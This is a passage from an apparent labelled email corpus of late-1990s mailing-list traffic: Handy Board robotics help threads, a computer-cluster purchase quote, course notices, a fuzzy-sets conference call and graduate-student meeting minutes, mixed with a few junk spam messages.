physically overloading the racks. We never convinced ourselves that the premium for rack mountable units was worth it (and we have 24"" rather than 19"" racks anyway). We do put the console switches in the racks too. Ian gilfoyle wrote: > hi ian, > > i have a small question about our cluster. it turns out we > are going to order 12 boxes with two processors each. how do > you mount them at the lab? we're considering getting the > rackmountable cabinets and two racks to hold them. do you have > any experience/advise for mounting the machines? should we > worry about overloading the racks? do you mount switches and > back-up power supplies in the racks also? > > thanks-in-advance, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Joey Sims ,'gilfoyle' ,"Wed, 28 Apr 1999 14:39:33 -0400",RE: richmond computer cluster,"That's great! I'm sending an updated quote to reflect the 256MB of memory instead of 128. Do you want 1 256 or 2 128'? You would have more room to upgrade with 1 256 however it is more expensive. As for the Kernel, this is something you guys would have to modify. We can install the software and partition it however you want it. It would be better if you did the rebuilding of the kernel to fit your needs. We currently do not have a person on hand with that expertise but, we will shortly. For the one machine as a router, you will need a second network card in that machine. Please call me to confirm what you are getting and when you need it. Sincerely, Joey P. Sims > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Wednesday, April 28, 1999 10:19 AM > To: Joey.Sims@PonyComputer.com > Subject: richmond computer cluster > > hi mr. sims, > > we have received permission to purchase the computer > cluster from pony. we have a couple of questions and > modifications about the most recent quote. > > 1. we plan to set up one of the nodes in the cluster > as a router to control traffic to the remaining machines > in the cluster. does this desire effect the redhat > linux kernel that would be installed in the router node? > if it does can pony do the modification to the kernel for > us? > > 2. we want to order 12 machines (instead of 10). > > 3. as i look over the old quote it's not clear to me if > we are getting 128 MByte of ram on each machine or > 256-MByte. could you write the quote for 256 MByte on each > box? > > 4. include the cisco catalyst 2924-XL-EN switch in the > quote. > > one more iteration through this and we'll be ready to > write the purchase order. > > thanks, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Joey Sims ,'gilfoyle' ,"Wed, 28 Apr 1999 14:48:27 -0400",RE: richmond computer cluster,"oh yeah, one more thing, Red Hat version 6.0 has been released so, maybe configuring the one machine for a router will not be that big of deal. We'll check it out. So the quote actually says RedHat 5.2, but it will be 6.0. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Wednesday, April 28, 1999 10:19 AM > To: Joey.Sims@PonyComputer.com > Subject: richmond computer cluster > > hi mr. sims, > > we have received permission to purchase the computer > cluster from pony. we have a couple of questions and > modifications about the most recent quote. > > 1. we plan to set up one of the nodes in the cluster > as a router to control traffic to the remaining machines > in the cluster. does this desire effect the redhat > linux kernel that would be installed in the router node? > if it does can pony do the modification to the kernel for > us? > > 2. we want to order 12 machines (instead of 10). > > 3. as i look over the old quote it's not clear to me if > we are getting 128 MByte of ram on each machine or > 256-MByte. could you write the quote for 256 MByte on each > box? > > 4. include the cisco catalyst 2924-XL-EN switch in the > quote. > > one more iteration through this and we'll be ready to > write the purchase order. > > thanks, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 """Mark B. Gerstein"" ",course@bioinfo.mbb.yale.edu,"Tue, 27 Apr 1999 05:20:33 -0400",final projects will be due by 9 AM on 5.3,"As we discussed in class, final projects will be due by 9 AM on 5.3. Please hand them in to Kate Tatham in Bass 336. She will be in at 9 AM and date stamp them, so it will be apparent if your project is late. At that time, also send an e-mail to me, with the link to the on-line version of your paper (html, pdf, ps, or rtf). If you want to hand in the project early, you can put it in Kate's mailbox on the 3rd floor of Bass, clearly indicating that it is for me and MB&B 447b. Good luck! I've enjoyed the class. -- Mark.Gerstein@yale.edu * 203 432-6105 * http://bioinfo.mbb.yale.edu +---------------------------< < AWAY > >--------------------------+ Will probably not be reading e-mail until 4.30. +-------------------------------------------------------------------+",0,1 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Wed, 29 Apr 1998 16:40:38 -0700",Smooth PWM with IC 3.2,"I know this is an old thread but I am just now getting to the point where I can finally start programming. I am using IC 3.2 and the expansion board. I downloaded the smooth PWM routines from Newton Labs but I get errors when I load them into the HB. A previous message indicated that changes to the lib_hb.c were necessary. What changes do I have to make to the lib_hb.c to make these routines work? Or would someone who had already made these changes mind sending me the updated file? When I load IC 3.2 I get the following errors and the board locks up when I run the motor function calls. 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Yours sincerely, Nitin > Synchronizing with board > Pcode version 3.10 present on board > Loading C:\\IC\\libs\\lib_hb.lis. > Loading C:\\IC\\libs\\lib_hb.c. > Loading C:\\IC\\libs\\lib_hb.icb. > Loading C:\\IC\\libs\\libexpbd.icb. > Loading C:\\IC\\libs\\expsens.c. > Loading C:\\IC\\libs\\expservo.icb. > Loading C:\\IC\\libs\\explego.icb. > C:\\IC\\libs\\expsens.c(13): analog already defined > C:\\IC\\libs\\expsens.c(34): digital already defined > lib_hb.icb(1): _raw_analog already defined > Errors, unloading files > Cannot find file lib_hb.lis or file lib_hb.lis > C:\\IC\\libs\\expsens.c(13): analog already defined > C:\\IC\\libs\\expsens.c(34): digital already defined > lib_hb.icb(1): _raw_analog already defined > > > > ",0,0 """Nelson H. F. Beebe"" ",java-sig@plot79.math.utah.edu,"Thu, 29 Apr 1999 05:42:04 -0600",Sun HotSpot et al,"At the Tuesday meeting of the Java SIG, mention was made of Sun's new HotSpot release. You can read about it at http://www.sunworld.com/swol-04-1999/swol-04-sunspots.html?0426a There is a pointer to a download site, but it doesn't seem to be there just yet. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 """Nelson H. F. Beebe"" ",java-sig@plot79.math.utah.edu,"Thu, 29 Apr 1999 06:21:54 -0600",IBM releases new JVM for Windows ,"From http://www.sunworld.com/swol-04-1999/swol-04-eyeoncomp.html?0426a#16 I found this, which may be of interest to some of you: IBM releases new JVM for Windows Boston (April 12, 1999) -- Concerns among developers about Microsoft's committment to Java have led IBM Corp. to release a Java Virtual Machine (JVM) for the Windows operating system platform. IBM is giving away the JVM at http://www.ibm.com/java/. The JVM is for Windows 95, Windows 98 and Windows NT. Free downloads are available starting today, said Tim Thatcher, IBM manager of Java marketing, based in Austin, TX. This is the first JVM from IBM for Windows. ... ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Mitchel Resnick ,play99,"Thu, 29 Apr 1999 14:32:20 -0400",next week,"Next week's class will follow the same format as this week: we will start with project updates/critiques, followed by a guest lecture. We are approaching the end of the semester, so projects should be getting close to final form. (Try to keep your schedule open until 4:30pm, since we might run long this week.) This week's guest lecturer is Eric Zimmerman, a game designer from New York. Eric suggested two readings (which he has used in his own course at NYU): * A short essay (entitled ""Rules, Play and Culture: Towards an Aesthetic of Games"") which he co-authored for Merge magazine (attached). * The first chapter of Homo Ludens, a classic book on the history of play, by Dutch historian Johan Huizinga. Copies of the first chapter will be available outside my office (020A) by end of the day today. M... ",0,0 FRED MARTIN ,handyboard@media.mit.edu,"Thu, 29 Apr 1999 14:29:38 -0500",HC11 E 'series',"I was wondering if i can use the HC11E9 series microcontroller instead of the A1 (that is suggested on the data sheets for the handy board). I have the Reference Manual for the HC11, looked at the data sheets and they say the E9 is an upgrade from the A8. Any input would be appreciated. Fred ",0,0 """Curt Mills, WE7U"" ",FRED MARTIN ,"Thu, 29 Apr 1999 13:09:30 -0700",Re: HC11 E 'series',"On Thu, 29 Apr 1999, FRED MARTIN wrote: > I was wondering if i can use the HC11E9 series microcontroller instead of > the A1 (that is suggested on the data sheets for the handy board). I have > the Reference Manual for the HC11, looked at the data sheets and they say > the E9 is an upgrade from the A8. > Any input would be appreciated. Yes. I'm using a couple of E9's. Setting the config register to the normal Handyboard value disables the internal ROM, so you end up with an A-series with the exception that you have twice the RAM (512 bytes). Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Jason Jay ,"Projects In Play , Gil Weinberg ","Thu, 29 Apr 1999 20:25:41 -0400",3d printer,"We would like to digitally design a shell for our toy and print it on the 3d printer. What software do people generally recommend for this? I was told 3D Studio MAX is a good option but others have said autocad would be a better option for high precision. Given that we have a pretty clear design and want a shell printed by next Wednesday, do you guys know what would be the best option? Thanks, Jason ",0,0 ed@washoe.cs.unr.edu,9fans@cse.psu.edu,"Thu, 29 Apr 1999 20:08:14 -0700",[9fans] Usenix??,Scott Schwartz ,handyboard@media.mit.edu,"Fri, 30 Apr 1999 10:07:24 +0500",Pre-approved Re-finance Application,"Dear Home Owner, Your credit doesn't matter to us! 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Committee Reports Financial, Academic and Research Committee ========================================== (Formerly the ""Funding Committee"". Their new e-mail is far@gso.bu.edu.) Gareth Roberts reported for this committee. - They will try to schedule Wendy Gordon, the speaker for an ""Intellectual Property"" talk, for the Fall. They felt that a summer talk would be poorly attended. - They are continuing to work on a policy document with ""Guidelines and Suggestions for Good Advising,"" based on their own experiences and on similar documents from Harvard, MIT, Penn State, UCDavis and UMinnesota. The document will be split into 3 categories, which are currently being investigated/written up: 1. Responsibilities of the advisor/rights of the student. E.g., Mutual respect, open communication, regular feedback, a schedule/long-term plan, etc. 2. Responsibilities of the Department/Program E.g., Financial and resource support from the dept., clear requirements for degree, access to attrition rates, objective evaluations, etc. 3. Responsibilities of the School or University E.g., non-discrimination clause, established grievance procedures, informal complaint procedures, oversight of depts., etc. - A web page concerning ""funding"" (off of the main GSO page) will be coming soon. ---- An attendee suggested that if we can get a definite date for a Fall talk on ""Intellectual Property"", we may be able to announce it in the mailings to new students. Another asked how advising awards (for undergraduate programs) are determined. They were aware of a situation where an advisor, who was alleged by students to be a bad advisor, received such an award. Healthcare Committee ==================== Rob Pitts reported for this committee. They have: - Updated the income qualifications for Free Care on the Healthcare Pages (http://gso.bu.edu/healthcare/). The new income limits are now present on the write-up of Free Care itself and write-ups of Free Care as implemented at specific hospitals or health centers. The limits changed March 18, 1999; the new ones must be used by healthcare providers by May 17, 1999. - Added ""key points"" to the write-up of BU's Student Insurance Plan (based on feedback from students and from the discussion with Chickering and Student Health Services representatives). These are provided as a ""short version"" of information they've provided about healthcare at BU. - A committee member attended a panel discussion entitled ""Healthcare in the 21st Century"" on April 22, 1999. This discussion was open to issues of healthcare both locally, nationally and internationally and was sponsored by the ""National Council for International Health"" (NCIH) at Boston University. This is apparently an undergraduate group at BU. The committee member's impression was that NCIH has members from Sargent College of Allied Health and pre-med students. They have sent e-mail to NCIH's new officers in order to see if there are any opportunities for collaboration. They are still waiting for a response. In the immediate future, they will be working on: - Information they want to put in the GSO flyer that will be mailed to new students. - A ""site map"" for the Healthcare Pages. I.e., something like a set of questions that students can ask themselves in order to direct them to useful information on those pages. There is a need for this since currently there is a lot of information on those pages and students probably won't look through it all. Housing Committee ================= This committee did not report. Liaison Committee ================= Gary Garber reported for this committee by e-mail. GRS is holding an orientation for new foreign teaching fellows during the third week in August: - These students will be staying on campus and going through language evaluation and cultural orientation. - They are also holding a few social events and are wondering whether the GSO would like to run one of those (GRS would pay for the event). - GRS might also have a few continuing students stay with the new students in the dorms. This would mean free housing for a week or so, and perhaps a small stipend. Social Committee ================ Cassandra Celatka reported for this committee. - April's Social (at Boston Billiards) had about 20 attendees. They did not use money to buy snacks for this event mainly because Boston Billiards did not give them enough information about what kinds of snacks were purchasable ahead of time. - May's Social will be Thursday, May 6th, 6:30-8:30pm at ""The Dugout"" (across from CAS on Comm. Ave.) For this event, they will ask GRS for more than the usual $50 for snacks (since they did not spend money on snacks for the last event and since this is an ""end of the semester"" event). - As for the summer, they will probably plan one event for students and then another event during the foreign TF orientation, but won't necessarily have an event once a month (attendance is lower during the summer). ---- Some attendees suggested announcing ""impromptu"" events during the summer, like ""some of us are going to a baseball game, etc."" Also, the idea of a bar-b-q at an area park, where each person brings some food, was suggested. Steering Committee ================== Dave Morgan and Jen Wenner reported for this committee. Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Constitution, Bylaws, etc. The ""Committees of the GSO"" article was voted on and passed with consensus. The ""Officers of the GSO"" article, with one minor addition (i.e., that committee chairpersons are responsible for making sure their committee reports at meetings), passed with consensus. ---- Note that when articles pass, we will still have an opportunity to make slight adjustments after they are all put together into a constitution. ---- We spent most of this time on the ""Meetings"" article. Many issues were discussed, including names of the types of meetings, what the purpose of each type is, and who can call, who must attend and who must run such meetings. We also decided to remove the text on elections and put that in an ""Elections"" article. Election issues were briefly discussed, but we will do so more when we arrive at the ""Elections"" article. Remember to send your comments on articles (that have already been sent out by e-mail) to steering@gso.bu.edu. 3. Summer We briefly discussed issues concerning the summer: - General meetings will be approx. monthly, although committees can meet as needed. - We need to decide what format to use for the GSO flyer that will be sent out to new students (approx. at end of May). We agreed to have some of the committees include a short piece of text making students aware of relevant issues and pointing them towards the GSO's web resources. We may also put in a short schedule of early Fall GSO events if it is possible to decide on dates for a first meeting, social event or talk soon. 4. Other Gareth Roberts will be planning a dinner event for those who have participated in the GSO in the past year. This will likely be in mid-May. This is something we also did last year in order to celebrate all that we had accomplished. Interested students may contact Gareth about the event. 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For example, I would like > to be able to do something like: > > sprintf(buffer,""Motor Temperature is %d"",mot_temp); > send_serial_1(buffer); > > > But there is no sprintf function. Can anyone offer a suggestion or some > existing code for creating and sending strings (that include numeric > variables) to the serial port? Dear Matt, Serial i/o routines available in the FAQ at the MIT site for the handy board send characters. Write a function which using % and / operators to convert a number into digits. The function should send each digit as a character along the serial port. Whenever you wish to send a string (""Motor Temperature is "") use the send_serial_1() function you have mentioned. Don't send a newline. Next you send the number (mot_temp) digit by digit using the function given in para 1. I hope this works. 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Current digital projects include Sissyfight2000, a perverse multiplayer game for Word.com and BLiX, a self-published title that won a Silver award from International Design Magazine (available May 1999 at www.stationblix.com). Two years ago, Eric founded Flat, a New York-based computer game developer focused on multiplayer email games. Before helping to create Flat, Eric was Senior Game Designer at R/GA Interactive where he directed the development of a number of game titles, including the award-winning CD-ROM Gearheads. He is currently an Adjunct Professor at New York University¹s Interactive Telecommunications Program, where he teaches Game Design and Interactive Narrative. Eric has lectured widely on these topics, recently at the U. of Malmo (Sweden), U. of Jyvaskyla (Finland), Assoc. of Multimedia Professionals (Lisbon), Doors of Perception (Amsterdam), Banff Center for the Arts, Carnegie Melon, Brown, USC, UCLA, ISEA, Columbia, Hunter, and Parsons School of Design. Eric is a published author on the topic of interactive entertainment, with recent articles appearing in 21C, Zed, If/Then, Merge, and I.D. Magazine. His first boardgame, Organism, will be published in 1999 by Semiotext(e) Press. He has also exhibited non-computer game projects at the Center for Contemporary Art in Grenoble, France and the Sara Meltzer Gallery in New York City. ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax) ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>",handyboard@media.mit.edu,"Sun, 02 May 1999 19:08:06 -0500",charging circuit,"Hi All, I turned on my handyboard yesterday and found that the battery had died, zero,no voltage. I then plugged the wall transformer wire into the jack on the handyboard as I had been doing all along. The charge yellow led on the handyboard blinked erraticlly and the battery did not charge, I plugged the power into the charger board , the gtrrn, red, and yellow led on the board stayed on steady but the battery did not charge at all. Today I replaced the radio shack Ni-cd 9.6 volt, 600MAH part #23-229 with the 9.6 volt,900 MAH part # 23-329. The same thing is happening, what is the problem? Do I have to always charge from the battery charger board? I had always just plugged into the handyboard to charge the battery overnight. Thanks in advance, Terry Gathright 669@worldnet.att.net ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","""Terry P. Gathright"" <669@worldnet.att.net>, handyboard@media.mit.edu","Sun, 02 May 1999 21:01:17 -0500",Re: charging circuit,"Hello again, Sorry for the posting, seems as the problem fixed itself, anyhow it's working like it always did now. Thanks anyhow, Terry Gathright ---------- > From: Terry P. Gathright <669@worldnet.att.net> > To: handyboard@media.mit.edu > Subject: charging circuit > Date: Sunday, May 02, 1999 7:08 PM > > Hi All, > I turned on my handyboard yesterday and found that the battery had died, > zero,no voltage. I then plugged the wall transformer wire into the jack > on the handyboard as I had been doing all along. > The charge yellow led on the handyboard blinked erraticlly and the > battery did not charge, I plugged the power into the charger board , the > gtrrn, red, and yellow led on the board stayed on steady but the battery > did not charge at all. > > Today I replaced the radio shack Ni-cd 9.6 volt, 600MAH part #23-229 with > the 9.6 volt,900 MAH part # 23-329. > > The same thing is happening, what is the problem? Do I have to always > charge from the battery charger board? > I had always just plugged into the handyboard to charge the battery > overnight. > > Thanks in advance, > Terry Gathright > 669@worldnet.att.net",0,0 Lisbeth Gladstone ,shari@aleve.media.mit.edu,"Mon, 03 May 1999 04:21:37 -0500",zip your energy,"the aida it's lumbar , ecuador try licensable it's texture ",1,0 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Mon, 03 May 1999 07:51:53 -0500",6500 returning dd values,"Hello, I connected a Polaroid 6500 to my expansion board on my handy board and tried to test it but it returnes a different value every time, some of them being odd values (eg -24567). Heres how it lies - on the 6500 per. bd. E1 is connected to the 'metal strip' (could not think of the appropriate name) and E2 is connected to the base (grounded) on the sonar ""speaker"". There has been a 0.1 UFD @ 50 VCD electrolytic capacitor added in position C7. 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Eric Smiley -- /-----------------------------------------------------------------------\\ Eric Smiley Duke University Delta Kappa Epsilon House 1C1 rm. 202 : - ) BOX 96859 ( - : Durham, NC 27708-6859 ebs4@acpub.duke.edu 919-613-1839 \\-----------------------------------------------------------------------/ ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 03 May 1999 18:40:59 -0400",Re: Battery Status,"At 01:40 PM 5/3/99 -0700, Andre Philippi wrote: >Hi, > >I would like to measure the battery capacity (how much longer can I keep the >operating robot, running under the present battery), but I very newbie in >regards to electonics... so here are my newbie questions... :) > >1) Is voltage; information enough, to provide battery capacity (left) ? This is usually how it's done. The voltage will drop predictably as the battery discharges. > >2) Could I use one of the analog ports on the Handy Board to measure battery >voltage (and therefore calculate capacity left (assuming voltage is >information enough for the calculation)) ? Yes. You could use a voltage divider. You may have to play with the cutoff point a bit, and be aware that nicads experience a rather sharp voltage drop. Hope this helps, Duncan ",0,0 Maia ,"handyboard@media.mit.edu, tracy@media.mit.edu, virgil@media.mit.edu, lilian@media.mit.edu, susie@media.mit.edu","Mon, 03 May 1999 15:09:08 -0500",down-down my weight,"not myers , superfluous or monte may decile be cognac ",1,0 Richard Drushel ,handyboard@media.mit.edu,"Mon, 03 May 1999 20:48:16 -0400",Re: Battery Status,"[Duncan Orthner] spake unto the ether: > At 01:40 PM 5/3/99 -0700, Andre Philippi wrote: > >2) Could I use one of the analog ports on the Handy Board to measure battery > >voltage (and therefore calculate capacity left (assuming voltage is > >information enough for the calculation)) ? > > Yes. You could use a voltage divider. You may have to play with the cutoff > point a bit, and be aware that nicads experience a rather sharp voltage drop. But isn't the supply voltage also the reference for the D/A converter? If the reference drifts, the signal through the divider leg will also drift? I remember trying something like this with a variety of fixed resistors in an analog port, and had the board dump values every second out the serial port to a terminal capture until the batteries died. IIRC, the analog() values were constant until a couple seconds before power failure, and then they fell only 1 or 2 units out of 256. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Justin Jacobsen ,handyboard@media.mit.edu,"Mon, 03 May 1999 22:00:20 -0500",RE: Download of PCode and registers,"Eric, You shouldn't need to use the 0d block for normal programs. In fact, 0c is what you are supposed to use. The only time when you need to use the 0d value is when you are burning the board with the ""config0c.s19""(I believe that is the file ext.). The 0c and 0d are hexadecimal values for different addresses for the memory. The 0d is the EEPROM and 0c is the RAM I believe. If you need more explanation, just write back and I will post more for you. Best Wishes, Justin Jacobsen > -----Original Message----- > From: Eric Smiley [mailto:ebs4@acpub.duke.edu] > Sent: Monday, May 03, 1999 4:18 PM > To: handyboard > Subject: Download of PCode and registers > > > I am building a new handyboard and when I attempt to send the PCode to > the board using HBDL for Windows I get an error if 0c is put in the > register window. However, if I put 0d it works fine, the files load and > the handyboard functions properly. Why would this happen and what does > it mean? Thank you for your help. > > Eric Smiley > > -- > ",0,0 Justin Jacobsen ,handyboard@media.mit.edu,"Mon, 03 May 1999 22:01:16 -0500",RE: Download of PCode and registers,"Eric, You shouldn't need to use the 0d block for normal programs. In fact, 0c is what you are supposed to use. The only time when you need to use the 0d value is when you are burning the board with the ""config0c.s19""(I believe that is the file ext.). The 0c and 0d are hexadecimal values for different addresses for the memory. The 0d is the EPROM and 0c is the RAM I believe. If you need more explanation, just write back and I will post more for you. Best Wishes, Justin Jacobsen > -----Original Message----- > From: Eric Smiley [mailto:ebs4@acpub.duke.edu] > Sent: Monday, May 03, 1999 4:18 PM > To: handyboard > Subject: Download of PCode and registers > > > I am building a new handyboard and when I attempt to send the PCode to > the board using HBDL for Windows I get an error if 0c is put in the > register window. However, if I put 0d it works fine, the files load and > the handyboard functions properly. Why would this happen and what does > it mean? Thank you for your help. > > Eric Smiley > > -- > ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 03 May 1999 23:06:59 -0400",Re: Battery Status,"At 08:48 PM 5/3/99 -0400, Richard Drushel wrote: >[Duncan Orthner] spake unto the ether: > >> At 01:40 PM 5/3/99 -0700, Andre Philippi wrote: > >> >2) Could I use one of the analog ports on the Handy Board to measure battery >> >voltage (and therefore calculate capacity left (assuming voltage is >> >information enough for the calculation)) ? >> >> Yes. You could use a voltage divider. You may have to play with the cutoff >> point a bit, and be aware that nicads experience a rather sharp voltage drop. > > But isn't the supply voltage also the reference for the D/A >converter? If the reference drifts, the signal through the divider >leg will also drift? Umm, yes. But only if the battery is 5volts. Presumably, the voltage regulator on the HB is being supplied with well over ~6.5 volts (usually a 9.6v battery). Thus the output of your divider could be read via an analog input until the battery voltage dropped below the cutoff for the regulator. Actually, a voltage just above the cutout on the regulator would make a good 'low battery warning' point ie ~6.5 to 7v. The point is that the 'low battery' point would be reached well before the 5v AD reference began to drift...or (more likely) the regulator cut out. Sweet Dreams, Duncan ",0,0 vladik@cs.utep.edu,"reliable_computing@interval.usl.edu, interval@cs.utep.edu","Mon, 03 May 1999 22:35:45 -0600",conference in Bulgaria,"FYI: intuitionistic fuzzy sets are, crudely speaking, interval-valued fuzzy sets Call For Papers Third International Conference on Intuitionistic Fuzzy Sets ICIFS'99 Sofia, October 16 - 17, 1999 _________________________________________________________________________ Conference Chairs : Janusz KACPRZYK (Poland) Krassimir ATANASSOV (Bulgaria) Program Committee: Pedro BURILLO (Spain) Humberto BUSTINCE (Spain) Soon-Ki KIM (Korea) Vladik KREINOVICH (USA) Dimiter LAKOV (Bulgaria) Anthony SHANNON (Australia) Eulalia SZMIDT (Poland) Organizing Committee: Peter GEORGIEV (Bulgaria) Nikolai NIKOLOV (Bulgaria) The aim of this first meeting is to gather specialists interested in intuitionistic fuzziness and to give them floor for discussions on theoretical and practical aspects of this relatively new area of fuzzy set theory. Topics : All theoretical and applied results related to intuitionistic fuzziness. Deadlines : 15 August 1999 Submission of the camera-ready texts in English. LaTeX source sent by e-mail (where possible) is best welcomed. 20 September 1999 Notification of acceptance. 15 and 16 October 1999 Registration at the Center of Biomedical Engineering (CLBME), Bulgarian Academy of Sciences, Bl. 105, Acad. George Bonchev Str. Sofia-1113. Instructions to the authors : Papers should not exceed 8 A4 pages, one column, single spaced, wide margins, clear typeface on 10 pt. On the first page the authors should indicate their address and e-mail; an abstract and keywords. Using LaTeX is strongly encouraged - in this case the text can be sent by the e-mail. All papers accepted for presentation at ICIFS'99 will be included in a special issue of the journal ""Notes on Intuitionistic Fuzzy Sets"". The special issue will be available at the registration. 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Please register for the conference at your earliest convenience by sending back the registration form below. ---------------------------------------------------------------------- Registration form ----------------- Name: Title: University/Institute: Dept/MS: Address: City: Zip code: Country: E-mail:  ----- End Included Message ----- ",0,0 Eat Bugs! ,,"Mon, 03 May 1999 23:02:41 -0400",Re: Battery Status,"Duncan Orthner wrote: > >1) Is voltage; information enough, to provide battery capacity (left) ? > > This is usually how it's done. The voltage will drop predictably as the > battery discharges. However, I'd be concerned about this method in the long run. I'm thinking that the discharge rates of some batteries change over time (talking rechargables here), and that may screw you eventually. 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This does not include water damage, intentional damage, or general wear and tear (such as scratches, fading of the gold, etc.). Although certain watches are water-resistant to a certain degree, we suggest keeping them away from water whenever possible, and make sure the crown is always screwed in tight so moisture does not get in. ",1,1 Teresa Pinto ,handyboard@media.mit.edu,"Tue, 04 May 1999 04:23:06 -0500","Tiffany, Handbags, Pens and more..",", duquesne try quaternary and adjunct in floc or catenate ",1,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 04 May 1999 08:58:23 -0400",RE: Battery Status," I have quite a few battery discharge curves lying around, and one thing I can tell you is that they are all different. Generally they start at a high voltage, quickly discharge to a normal operating voltage, hold that voltage for a majority of their life, and finally roll off around a ""Knee."" There is a slope in the normal operating voltage region of the curve, but it is very small especially compared to the other operating regions. It is easy to tell when the battery has reached its knee, but once the knee shows up you have very little battery life to work with. The big catch with all this is that these battery curves are all made under constant current conditions. (I have a device called ""The Battery Tool"" which places a programmed current load on the battery, and measures the voltage every second. The computer program on the controlling computer, plots the curves, and computes useful information.) A robot uses everything except a constant current. I get the impression that you would like to know the status of the battery so that your robot can do something about the battery (seek a charging station) when the battery reaches a certain level. I think that you will have a hard time doing this with the Handy Board as it is currently made. Measuring the battery terminal voltage will certainly tell you more than you currently get (nothing). But you will have to jump through some extra hoops to get useful information out of if. The first thing you will need to do is to find a way to ""idle"" the robot while you make your voltage measurement. You don't have to remove the load, just make it the same for each measurement. Second you will need a history of typical behavior. Finally you will need a way to update that typical history as the battery ages. You could probably do the last two parts in the same algorithm if you can set the initial conditions right. I personally feel that the right way to go is with a smart power source. This is where your NiCads are packaged with a microcontroller and current sensor. The Micro keeps track of the charge taken (and the current), the last time and amount of charge, and can respond to a host (serial or I2C) clearly stating the expected remaining battery life. It would be nice to hear from the satellite people. They have to be real battery experts. (You can't just go up and change a battery.) Later, Pherd ",0,0 """Weng, Andrew"" ","""'handyboard@media.mit.edu'"" ","Tue, 04 May 1999 09:58:43 -0400",Navigation & Encoders,"I know this is not really handyboard specific but hey... Does anybody know the equation for finding a heading (theta) from a current position P(x,y) to a goal position G(x,y). I sure there's a tangent in there somewhere but I've already dredged up more trigonometry than I care to remember implementing these shaft encoders. By the way the encoders work great so far. They are US Digital 360cts/rev quadrature encoders. I've interfaced them to the HB using their LS7084 IC. The 7084 outputs the direction of revolution (low or high) and pulses out the ""clicks"" The pulses are too narrow to use with the standard encoder routines so one channel from the encoder is also wired to the HB encoder input. I modified the sencode routines to check the direction bit from the 7084 before increasing or decreasing the running total of counts. The cost for a set of encoders, LS7084 and cables was about $100 from US Digital. . ",0,0 Mike Jones ,"FThompson9@aol.com, handyboard@media.mit.edu","Tue, 04 May 1999 09:05:45 +0500",RE: Battery Status,"Has anyone ever tried having a small offline battery that can be kicked in via sofware? When the main power source is nearly exhausted it can be put online and you know approximately how long that emergency supply will last. Mike > I have quite a few battery discharge curves lying around, and one >thing I can tell you is that they are all different. Generally they start at >a high voltage, quickly discharge to a normal operating voltage, hold that >voltage for a majority of their life, and finally roll off around a ""Knee."" >There is a slope in the normal operating voltage region of the curve, but it >is very small especially compared to the other operating regions. It is easy >to tell when the battery has reached its knee, but once the knee shows up you >have very little battery life to work with. The big catch with all this is >that these battery curves are all made under constant current conditions. (I >have a device called ""The Battery Tool"" which places a programmed current >load on the battery, and measures the voltage every second. The computer >program on the controlling computer, plots the curves, and computes useful >information.) A robot uses everything except a constant current. > I get the impression that you would like to know the status of the >battery so that your robot can do something about the battery (seek a >charging station) when the battery reaches a certain level. I think that you >will have a hard time doing this with the Handy Board as it is currently >made. Measuring the battery terminal voltage will certainly tell you more >than you currently get (nothing). But you will have to jump through some >extra hoops to get useful information out of if. The first thing you will >need to do is to find a way to ""idle"" the robot while you make your voltage >measurement. You don't have to remove the load, just make it the same for >each measurement. Second you will need a history of typical behavior. >Finally you will need a way to update that typical history as the battery >ages. You could probably do the last two parts in the same algorithm if you >can set the initial conditions right. > I personally feel that the right way to go is with a smart power >source. This is where your NiCads are packaged with a microcontroller and >current sensor. The Micro keeps track of the charge taken (and the current), >the last time and amount of charge, and can respond to a host (serial or I2C) >clearly stating the expected remaining battery life. > It would be nice to hear from the satellite people. They have to be >real battery experts. (You can't just go up and change a battery.) > >Later, >Pherd > > ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 04 May 1999 10:25:00 -0600",Re: Navigation & Encoders,"> Andrew wrote: > I know this is not really handyboard specific but hey... Does anybody > know the equation for finding a heading (theta) from a current > position P(x,y) to a goal position G(x,y). The angle relative to the x axis is given 